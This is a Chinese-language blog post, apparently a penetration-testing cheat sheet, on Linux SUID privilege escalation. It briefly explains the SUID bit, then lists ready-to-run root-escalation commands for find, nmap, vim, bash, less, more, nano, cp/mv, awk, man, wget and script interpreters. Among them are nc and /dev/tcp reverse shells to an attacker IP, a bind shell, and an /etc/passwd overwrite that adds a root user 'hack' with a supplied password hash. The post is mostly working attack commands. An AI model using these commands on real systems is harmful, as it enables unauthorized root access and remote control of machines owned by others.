SUID提权

概述:

SUID 是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限。

若是对一些特殊命令设置了SUID,那么就会有被提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano、awk和cp等。

当s出现在文件所有者的x权限时,被称为 “set uid” 简称SUID,SUID 对一个文件的限制与功能包括有:
(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效

1、设置SUID权限:

chmod u+s filename 设置SUID位

chmod u-s filename 去掉SUID设置

2、 收集具有SUID权限的文件:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
  • /表示从文件系统的顶部(根)开始并找到每个目录
  • -perm 表示搜索随后的权限
  • -u = s表示查找root用户拥有的文件
  • -type表示我们正在寻找的文件类型
  • f 表示常规文件,而不是目录或特殊文件
  • 2表示该进程的第二个文件描述符,即stderr(标准错误)
  • /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

3、提权利用

3.1 find提权

find /etc/passwd -exec whoami \;
root

进入shell:

find /etc/passwd -exec '/bin/sh' \;
sh-5.0# whoami
root

nc 正向连接shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \;
在攻击机上:
nc 靶机ip 4444

nc反弹shell:

find /etc/passwd -exec nc -e /bin/bash x.x.x.x port \;
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻击机上:
nc -lnvp 4444

3.2 nmap提权

进入nmap交互模式:(适用版本:nmap2.02~5.21)

nmap --interactive

交互模式中提权:

nmap> !sh
sh-3.2# whoami
root

没有交互的最新方式:(全版本通杀提权)

echo "os.execute('/bin/bash')" > /tmp/shell
nmap --script=/tmp/shell

3.3 Vim提权

以SUID运行,继承root用户的权限,因此可以读取系统上的所有文件。

vim /etc/passwd
:set shell = '/bin/sh'
:shell

3.4 bash提权

以root身份打开一个bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

3.5 less提权

less /etc/passwd
#在less中输入:
!/bin/sh

3.6 more提权

more /etc/passwd
#在more中输入:
!/bin/sh

注意:使用more和less命令,一定是读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。

3.7 nano提权

nano #进入nano编辑器
Ctrl + R
Ctrl + X 
#即可输入命令

3.8 cp、mv提权

使用cp、mv命令覆盖原来的/etc/passwd文件。

[zabbix@localhost ~]$ cat /etc/passwd >passwd
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/
[zabbix@localhost ~]$ cp passwd /etc/passwd     #mv passwd /etc/passwd
[zabbix@localhost ~]$ su - hack
Password:
[root@361way ~]# id
uid=0(hack) gid=0(root) groups=0(root)
[root@361way ~]# cat /etc/passwd|tail -1
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

3.9 awk提权

awk 'BEGIN {system("/bin/bash")}'

3.10 man提权

man passwd
!/bin/bash

3.11 wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

3.12 python/perl/ruby/lua/php/etc

python:
python -c "import os;os.system('/bin/bash')"
perl:
perl -e 'exec "/bin/bash";'
ruby:
ruby -e 'exec "/bin/bash";'
php:
php -a     #进入php shell
exec("/bin/bash");
posted @ 2023-03-27 16:36  hello_bao  阅读(1813)  评论(0编辑  收藏  举报